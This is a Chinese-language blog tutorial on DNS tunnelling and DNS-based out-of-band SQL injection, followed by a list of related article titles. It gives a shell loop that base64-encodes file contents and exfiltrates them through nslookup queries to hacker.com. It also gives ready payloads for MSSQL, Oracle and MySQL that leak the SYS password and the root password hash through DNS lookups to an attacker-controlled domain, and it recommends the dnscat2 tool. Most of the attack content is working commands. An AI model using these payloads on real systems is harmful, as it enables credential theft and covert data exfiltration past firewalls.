DNS隧道技術解析
DNS基礎
大家可以自行搜尋關於dns的幾種查詢方式以及查詢流程,因為比較基礎,我這裡就不貼了。下面貼一個關於dns查詢的圖,大家自行理解:
DNS隧道技術是如何實現的
一個查詢的流程
我們通過下圖來理解一下
第一步: 黑客向內部dns伺服器傳送一個查詢hacker.com的請求(這個域名的控制許可權是在黑客手裡的)
第二步:內部dns伺服器通過防火牆向根dns伺服器發出查詢請求
第三步:經過大量重定向後,DNS請求到達hacker.com的權威DNS伺服器,該伺服器處於黑客的控制之下
第四步:黑客請求查詢的響應結果通過防火牆
第五步:響應結果返回到內部伺服器
第六步:內部伺服器將響應結果返回給黑客
上面的流程展示了一個黑客在連線外部網路時dns解析的一個過程。由於防火牆並沒有對dns協議做任何處理,所以我們可以通過這種方式向外網傳送資料來穿透防火牆。
如何向外部dns傳送資料
1 將下面內容儲存一個檔案
cat sensitive.txt Alice
Bob
John
2 使用如下命令
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
以上命令的意思是,迴圈讀取檔案內容,並且對內容進行base64編碼然後用nslookup 將編碼後的內容作為主機名向dns傳送查詢請求。我們可以跟蹤dns伺服器的解析日誌,找出傳送出去的內容。
下面是這種方式的問題:
1 這是一個單向通道,不可以從外部到內部,只能從內部到外部。
2 這種處理一下小檔案是可以的,但是如果有個100M的檔案就不那麼友好了
這是我們就需要一個工具來完成這個任務了。
推薦工具
一款優秀的工具dnscat2,下載地址:https://github.com/iagox86/dnscat2
dnscat2提供客戶端和服務端。
使用的條件:
1 一臺vps
2 一個域名控制許可權
3 一臺內網許可權
利用dns回顯sql注入
基於以上思路,我們在遇到沒有回顯的注入時,不能確定命令是否成功,我們可以利用dns,將結果回顯到自己的dns伺服器上,下面簡單說一下不同資料庫的利用方式。
MSSQL
有用的儲存過程
master..xp_dirtree
功能:遞迴獲取指定目錄下的所有目錄
命令:master..xp_dirtree '<dirpath>'
master..xp_fileexist
功能:檢測指定磁碟下有沒有該檔案
命令:xp_fileexist '<filepath>'
master..xp_subdirs
功能:獲取指定目錄下的目錄列表
命令:master..xp_subdirs '<dirpath>'
獲取sa的hash
執行以上命令即可在遠端dns伺服器上留下解析日誌,獲得hash
Oracle
UTL_INADDR.GET_HOST_ADDRESS
函式:UTL_INADDR.GET_HOST_ADDRESS('<host>')
exp:SELECT UTL_INADDR.GET_HOST_ADDRESS('password.hacker.com');
UTL_HTTP.REQUEST
函式:UTL_HTTP.REQUEST('<url>')
exp:SELECT UTL_HTTP.REQUEST('http://password.hacker.com/index.php') FROM DUAL;
HTTPURITYPE.GETCLOB
函式:HTTPURITYPE('<url>').GETCLOB()
exp:SELECT HTTPURITYPE('http://password.hacker.com/index.php').GETCLOB() FROM DUAL;
DBMS_LDAP.INIT
函式:DBMS_LDAP.INIT(('<host>',<port>)
exp:SELECT DBMS_LDAP.INIT(('password.hacker.com',80) FROM DUAL;
舉例
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacker.com',80) FROM DUAL;
以上查詢語句將管理員的密碼解析到我們的dns伺服器上
Mysql
LOAD_FILE
函式:LOAD_FILE('<filepath>')
exp:SELECT LOAD_FILE('C:\Windows\system.ini');
舉例
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.hacker.com\foobar'));
將root使用者的hash解析到我們的dns伺服器上
PostgreSQL
COPY
函式:COPY <table>(<column>,...) FROM '<path>'
exp:COPY users(names) FROM 'C:\Windows\Temp\users.txt'
舉例
由於PostgreSQL不接受子查詢,切變數和函式必須進行顯視宣告。所以利用過程比較麻煩。
總結
本文簡單的講解了DNS隧道技術是如何實現的,以及簡單的測試,推薦了工具,然而並沒有對工具如何使用進行闡述,這就需要小夥伴們自己去測試了。
相關文章
- 10、DNS隧道技術再探DNS
- 11、DNS隧道技術調研DNS
- DNS隧道技術繞防火牆DNS防火牆
- 【技術向】基於工控場景的DNS隧道攻擊方案DNS
- 4、DNS隧道DNS
- 2、HTTP隧道技術HTTP
- 1、網路隧道技術
- IPv6過渡技術之隧道技術
- 隧道代理技術是什麼?
- 相比國科雲解析,傳統DNS解析技術有哪些侷限性?DNS
- IPv6改造方案:隧道技術
- 技術分享 | DNS解析不生效的原因及解決方法DNS
- 智慧雲解析DNS有哪些核心技術?-中科三方DNS
- 14、DNS隧道製造工具————iodineDNS
- 【技術向】SSH加密隧道流量攻擊與檢測技術加密
- 內網-隱藏隧道通訊技術,場景復現(ICMP隧道)內網
- 計算機網路之隧道技術計算機網路
- 雲解析的高防DNS技術有哪些優勢和作用?(國科雲)DNS
- 學習內網安全--隱蔽隧道通訊技術內網
- 什麼是DNS解析?如何提升DNS解析安全?DNS
- DNS解析流程DNS
- DNS解析原理DNS
- 基於工控場景的DNS隧道檢測方案DNS
- Google DNS劫持背後的技術分析GoDNS
- PostgreSQL TOAST 技術解析SQLAST
- 網路技術DNS服務全介紹DNS
- DNS域名解析DNS
- 詳解 DNS 解析DNS
- 技術乾貨 | WebRTC 技術解析之 Android VDMWebAndroid
- 如何判斷DNS解析故障?如何解決DNS解析錯誤?DNS
- DNS解析為什麼不生效?DNS解析不生效原因分析DNS
- DNS分層結構及DNS解析流程DNS
- 雲解析DNS有必要買嗎?雲解析DNS有什麼用?DNS
- 中科三方技術再升級!解讀智慧雲解析dns3大核心能力DNSS3
- 有HTTP代理池子,要怎麼快速搭建隧道代理?| 純技術分享HTTP
- 【中科三方】什麼是雲解析DNS?雲解析DNS有必要購買嗎?如何購買雲解析DNS?DNS
- Windows ICMP DNS隧道是一種利用ICMP和DNS協議進行網路隧道傳輸的技術。它透過將資料包封裝在ICMP或DNS報文中,繞過防火牆和其他安全裝置,實現在受限網路之間傳輸資料的方法。WindowsDNS協議封裝防火牆
- 雲解析DNS如何實現智慧解析?DNS